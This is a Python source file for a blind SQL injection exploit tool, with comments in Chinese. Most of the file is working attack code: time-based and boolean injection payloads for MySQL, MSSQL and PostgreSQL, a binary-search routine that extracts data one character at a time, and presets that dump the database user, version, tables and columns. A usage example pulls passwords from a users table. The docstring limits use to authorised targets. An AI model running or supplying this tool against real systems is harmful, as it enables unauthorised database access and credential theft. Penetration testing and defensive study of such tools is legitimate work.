457 行
14 KiB
Python
457 行
14 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
Blind SQL Injection Exploit Tool
|
|
盲注利用工具
|
|
|
|
支持:
|
|
- 时间盲注 (Time-based Blind)
|
|
- 布尔盲注 (Boolean-based Blind)
|
|
- 自动数据提取
|
|
- 多线程加速
|
|
|
|
Usage:
|
|
# 时间盲注提取数据库名
|
|
python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --dbms mysql
|
|
|
|
# 布尔盲注提取表名
|
|
python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique bool --query "SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1"
|
|
|
|
# 提取当前数据库用户
|
|
python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --extract user
|
|
|
|
授权边界:
|
|
- 仅用于自有资产、测试环境或已明确授权的目标
|
|
- 建议优先使用最小化验证方式,避免对目标数据造成持久影响
|
|
- 不面向无授权第三方网站或泛互联网扫描
|
|
"""
|
|
|
|
import argparse
|
|
import requests
|
|
import time
|
|
import string
|
|
import urllib.parse
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
from typing import Callable, Optional, List
|
|
import sys
|
|
from pathlib import Path
|
|
import contextlib
|
|
import io
|
|
|
|
|
|
SCRIPTS_DIR = Path(__file__).resolve().parents[2] / "scripts"
|
|
if str(SCRIPTS_DIR) not in sys.path:
|
|
sys.path.insert(0, str(SCRIPTS_DIR))
|
|
|
|
from tool_contract import ( # noqa: E402
|
|
add_common_args,
|
|
emit_report,
|
|
ensure_authorized,
|
|
make_report,
|
|
parse_cookie_string,
|
|
parse_headers,
|
|
write_evidence,
|
|
)
|
|
|
|
|
|
class Colors:
|
|
RED = "\033[91m"
|
|
GREEN = "\033[92m"
|
|
YELLOW = "\033[93m"
|
|
BLUE = "\033[94m"
|
|
CYAN = "\033[96m"
|
|
END = "\033[0m"
|
|
BOLD = "\033[1m"
|
|
|
|
|
|
class BlindSQLi:
|
|
def __init__(
|
|
self,
|
|
url: str,
|
|
param: str,
|
|
method: str = "GET",
|
|
data: dict = None,
|
|
cookies: dict = None,
|
|
delay: float = 1.0,
|
|
threads: int = 1,
|
|
):
|
|
self.url = url
|
|
self.param = param
|
|
self.method = method
|
|
self.data = data or {}
|
|
self.cookies = cookies or {}
|
|
self.delay = delay
|
|
self.threads = threads
|
|
self.session = requests.Session()
|
|
self.session.headers.update(
|
|
{
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
|
}
|
|
)
|
|
self.charset = string.ascii_letters + string.digits + "_-@.{}"
|
|
|
|
self.mysql_payloads = {
|
|
"time": {
|
|
"if": "1' AND IF(({condition}),SLEEP({delay}),0)-- -",
|
|
"case": "1' AND (SELECT CASE WHEN ({condition}) THEN (SELECT SLEEP({delay})) ELSE 0 END)-- -",
|
|
},
|
|
"bool": {
|
|
"if": "1' AND IF({condition},1,0)-- -",
|
|
"and": "1' AND {condition}-- -",
|
|
},
|
|
}
|
|
|
|
self.mssql_payloads = {
|
|
"time": {
|
|
"if": "1'; IF ({condition}) WAITFOR DELAY '0:0:{delay}'-- -",
|
|
},
|
|
"bool": {
|
|
"if": "1' AND CASE WHEN ({condition}) THEN 1 ELSE 0 END-- -",
|
|
},
|
|
}
|
|
|
|
self.pg_payloads = {
|
|
"time": {
|
|
"case": "1' AND CASE WHEN ({condition}) THEN (SELECT pg_sleep({delay})) ELSE pg_sleep(0) END-- -",
|
|
},
|
|
"bool": {
|
|
"case": "1' AND CASE WHEN ({condition}) THEN 1 ELSE 0 END-- -",
|
|
},
|
|
}
|
|
|
|
self.payloads = {
|
|
"mysql": self.mysql_payloads,
|
|
"mssql": self.mssql_payloads,
|
|
"postgresql": self.pg_payloads,
|
|
}
|
|
|
|
self.extract_queries = {
|
|
"mysql": {
|
|
"user": "SELECT user()",
|
|
"database": "SELECT database()",
|
|
"version": "SELECT version()",
|
|
"tables": "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()",
|
|
"columns": "SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='{table}'",
|
|
"data": "SELECT {column} FROM {table} LIMIT {offset},1",
|
|
},
|
|
"mssql": {
|
|
"user": "SELECT SYSTEM_USER",
|
|
"database": "SELECT DB_NAME()",
|
|
"version": "SELECT @@version",
|
|
},
|
|
"postgresql": {
|
|
"user": "SELECT current_user",
|
|
"database": "SELECT current_database()",
|
|
"version": "SELECT version()",
|
|
},
|
|
}
|
|
|
|
def _send_request(self, payload: str) -> tuple:
|
|
"""发送请求并返回(响应内容, 响应时间)"""
|
|
test_data = self.data.copy()
|
|
test_data[self.param] = payload
|
|
|
|
try:
|
|
start = time.time()
|
|
if self.method.upper() == "GET":
|
|
params = urllib.parse.urlencode(test_data)
|
|
full_url = f"{self.url}?{params}"
|
|
resp = self.session.get(
|
|
full_url, cookies=self.cookies, timeout=30, verify=False
|
|
)
|
|
else:
|
|
resp = self.session.post(
|
|
self.url,
|
|
data=test_data,
|
|
cookies=self.cookies,
|
|
timeout=30,
|
|
verify=False,
|
|
)
|
|
elapsed = time.time() - start
|
|
return resp.text, elapsed
|
|
except Exception as e:
|
|
return None, 0
|
|
|
|
def test_condition_time(self, condition: str, dbms: str = "mysql") -> bool:
|
|
"""使用时间盲注测试条件"""
|
|
payloads = self.payloads.get(dbms, self.mysql_payloads)
|
|
template = payloads["time"].get("if") or payloads["time"].get("case")
|
|
if not template:
|
|
return False
|
|
|
|
payload = template.format(condition=condition, delay=int(self.delay))
|
|
_, elapsed = self._send_request(payload)
|
|
return elapsed >= self.delay - 0.5
|
|
|
|
def test_condition_bool(
|
|
self,
|
|
condition: str,
|
|
true_indicator: str = None,
|
|
false_indicator: str = None,
|
|
dbms: str = "mysql",
|
|
) -> bool:
|
|
"""使用布尔盲注测试条件"""
|
|
payloads = self.payloads.get(dbms, self.mysql_payloads)
|
|
template = payloads["bool"].get("if") or payloads["bool"].get("and")
|
|
if not template:
|
|
return False
|
|
|
|
payload = template.format(condition=condition)
|
|
response, _ = self._send_request(payload)
|
|
|
|
if not response:
|
|
return False
|
|
|
|
if true_indicator and false_indicator:
|
|
return true_indicator.lower() in response.lower()
|
|
|
|
payload_false = template.format(condition="1=0")
|
|
response_false, _ = self._send_request(payload_false)
|
|
|
|
if not response_false:
|
|
return False
|
|
|
|
return abs(len(response) - len(response_false)) > 50
|
|
|
|
def binary_search_char(
|
|
self,
|
|
position: int,
|
|
query: str,
|
|
technique: str = "time",
|
|
dbms: str = "mysql",
|
|
true_indicator: str = None,
|
|
) -> Optional[str]:
|
|
"""二分法查找字符"""
|
|
low, high = 32, 126
|
|
|
|
test_func = (
|
|
self.test_condition_time
|
|
if technique == "time"
|
|
else self.test_condition_bool
|
|
)
|
|
|
|
while low <= high:
|
|
mid = (low + high) // 2
|
|
condition = f"ASCII(SUBSTRING(({query}),{position},1))>{mid}"
|
|
|
|
if technique == "bool":
|
|
result = test_func(condition, true_indicator, None, dbms)
|
|
else:
|
|
result = test_func(condition, dbms)
|
|
|
|
if result:
|
|
low = mid + 1
|
|
else:
|
|
high = mid - 1
|
|
|
|
if low > 32:
|
|
condition = f"ASCII(SUBSTRING(({query}),{position},1))={low - 1}"
|
|
if technique == "bool":
|
|
result = test_func(condition, true_indicator, None, dbms)
|
|
else:
|
|
result = test_func(condition, dbms)
|
|
|
|
if result:
|
|
return chr(low - 1)
|
|
|
|
return None
|
|
|
|
def extract_string(
|
|
self,
|
|
query: str,
|
|
technique: str = "time",
|
|
dbms: str = "mysql",
|
|
max_length: int = 100,
|
|
true_indicator: str = None,
|
|
) -> str:
|
|
"""提取字符串"""
|
|
result = []
|
|
|
|
print(f"\n{Colors.CYAN}[*] 开始提取数据: {query}{Colors.END}")
|
|
print(f"{Colors.CYAN}[*] 技术: {technique}, 数据库: {dbms}{Colors.END}\n")
|
|
|
|
for pos in range(1, max_length + 1):
|
|
char = self.binary_search_char(pos, query, technique, dbms, true_indicator)
|
|
|
|
if char is None:
|
|
break
|
|
|
|
result.append(char)
|
|
current = "".join(result)
|
|
print(
|
|
f"\r{Colors.GREEN}[+] 已提取: {current}{Colors.END}", end="", flush=True
|
|
)
|
|
|
|
print()
|
|
return "".join(result)
|
|
|
|
def extract_length(
|
|
self, query: str, technique: str = "time", dbms: str = "mysql"
|
|
) -> int:
|
|
"""提取字符串长度"""
|
|
for length in range(1, 1000):
|
|
condition = f"LENGTH(({query}))={length}"
|
|
|
|
if technique == "time":
|
|
if self.test_condition_time(condition, dbms):
|
|
return length
|
|
else:
|
|
if self.test_condition_bool(condition, dbms=dbms):
|
|
return length
|
|
|
|
return 0
|
|
|
|
def auto_extract(
|
|
self, target: str, dbms: str = "mysql", technique: str = "time"
|
|
) -> str:
|
|
"""自动提取常用信息"""
|
|
queries = self.extract_queries.get(dbms, self.extract_queries["mysql"])
|
|
|
|
if target not in queries:
|
|
self._print("ERROR", f"未知的提取目标: {target}")
|
|
return ""
|
|
|
|
query = queries[target]
|
|
return self.extract_string(query, technique, dbms)
|
|
|
|
def _print(self, level: str, msg: str):
|
|
colors = {
|
|
"INFO": Colors.BLUE,
|
|
"SUCCESS": Colors.GREEN,
|
|
"WARNING": Colors.YELLOW,
|
|
"ERROR": Colors.RED,
|
|
}
|
|
print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="Blind SQL Injection Exploit Tool")
|
|
parser.add_argument("-u", "--url", required=True, help="目标URL")
|
|
parser.add_argument("-p", "--param", required=True, help="注入参数")
|
|
parser.add_argument(
|
|
"-m", "--method", default="GET", choices=["GET", "POST"], help="HTTP方法"
|
|
)
|
|
parser.add_argument("-d", "--data", help="POST数据")
|
|
parser.add_argument("-c", "--cookie", help="Cookie")
|
|
parser.add_argument(
|
|
"--technique", default="time", choices=["time", "bool"], help="盲注技术"
|
|
)
|
|
parser.add_argument(
|
|
"--dbms",
|
|
default="mysql",
|
|
choices=["mysql", "mssql", "postgresql"],
|
|
help="数据库类型",
|
|
)
|
|
parser.add_argument("--delay", type=float, default=1.0, help="时间盲注延迟(秒)")
|
|
parser.add_argument("--query", help="自定义SQL查询")
|
|
parser.add_argument(
|
|
"--extract",
|
|
choices=["user", "database", "version", "tables", "columns"],
|
|
help="自动提取信息",
|
|
)
|
|
parser.add_argument("--true-indicator", help="布尔盲注真值指示器")
|
|
parser.add_argument("-t", "--threads", type=int, default=1, help="线程数")
|
|
add_common_args(parser)
|
|
|
|
args = parser.parse_args()
|
|
ensure_authorized(args, parser)
|
|
|
|
requests.packages.urllib3.disable_warnings()
|
|
|
|
data = {}
|
|
if args.data:
|
|
for pair in args.data.split("&"):
|
|
if "=" in pair:
|
|
k, v = pair.split("=", 1)
|
|
data[k] = v
|
|
|
|
cookies = parse_cookie_string(args.cookie)
|
|
|
|
exploit = BlindSQLi(
|
|
url=args.url,
|
|
param=args.param,
|
|
method=args.method,
|
|
data=data,
|
|
cookies=cookies,
|
|
delay=args.delay,
|
|
threads=args.threads,
|
|
)
|
|
exploit.session.headers.update(parse_headers(args.header))
|
|
if args.proxy:
|
|
exploit.session.proxies.update({"http": args.proxy, "https": args.proxy})
|
|
if args.format != "text":
|
|
exploit._print = lambda *_args, **_kwargs: None # type: ignore[assignment]
|
|
|
|
result = None
|
|
stdout_buffer = io.StringIO()
|
|
capture = contextlib.redirect_stdout(stdout_buffer) if args.format != "text" else contextlib.nullcontext()
|
|
|
|
with capture:
|
|
if args.query:
|
|
result = exploit.extract_string(
|
|
args.query, args.technique, args.dbms, true_indicator=args.true_indicator
|
|
)
|
|
|
|
elif args.extract:
|
|
result = exploit.auto_extract(args.extract, args.dbms, args.technique)
|
|
|
|
if args.format == "text":
|
|
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
|
|
print(f"{Colors.BOLD}Blind SQL Injection Exploit Tool{Colors.END}")
|
|
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
|
if args.query:
|
|
print(f"\n{Colors.GREEN}[+] 结果: {result}{Colors.END}")
|
|
elif args.extract:
|
|
print(f"\n{Colors.GREEN}[+] {args.extract}: {result}{Colors.END}")
|
|
else:
|
|
print(
|
|
f"{Colors.YELLOW}请使用 --query 或 --extract 指定要提取的数据{Colors.END}"
|
|
)
|
|
print(f"\n示例:")
|
|
print(f" --extract user 提取当前用户")
|
|
print(f" --extract database 提取当前数据库")
|
|
print(f" --extract version 提取数据库版本")
|
|
print(f' --query "SELECT password FROM users LIMIT 1"')
|
|
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
|
|
|
evidence_refs = []
|
|
ref = write_evidence(
|
|
args,
|
|
"blind-sqli-result.json",
|
|
{
|
|
"result": result,
|
|
"captured_stdout": stdout_buffer.getvalue()[-1000:],
|
|
"technique": args.technique,
|
|
"dbms": args.dbms,
|
|
},
|
|
)
|
|
if ref:
|
|
evidence_refs.append(ref)
|
|
status = "verified" if result else "needs-review"
|
|
severity = "high" if result else "medium"
|
|
report = make_report(
|
|
tool="blind-sqli",
|
|
mode=f"{args.technique}-blind-extraction",
|
|
target=args.url,
|
|
status=status,
|
|
severity=severity,
|
|
payload_or_probe={"query": args.query, "extract": args.extract, "result": result},
|
|
request_summary={"param": args.param, "dbms": args.dbms, "threads": args.threads},
|
|
evidence_refs=evidence_refs,
|
|
destructive_risk="medium",
|
|
args=args,
|
|
)
|
|
text_lines = [
|
|
"=" * 60,
|
|
"Blind SQL Injection Exploit Tool",
|
|
"=" * 60,
|
|
f"Target: {args.url}",
|
|
f"Technique: {args.technique}",
|
|
f"Result Present: {'yes' if result else 'no'}",
|
|
f"Status: {status}",
|
|
]
|
|
emit_report(args, report, text_lines)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|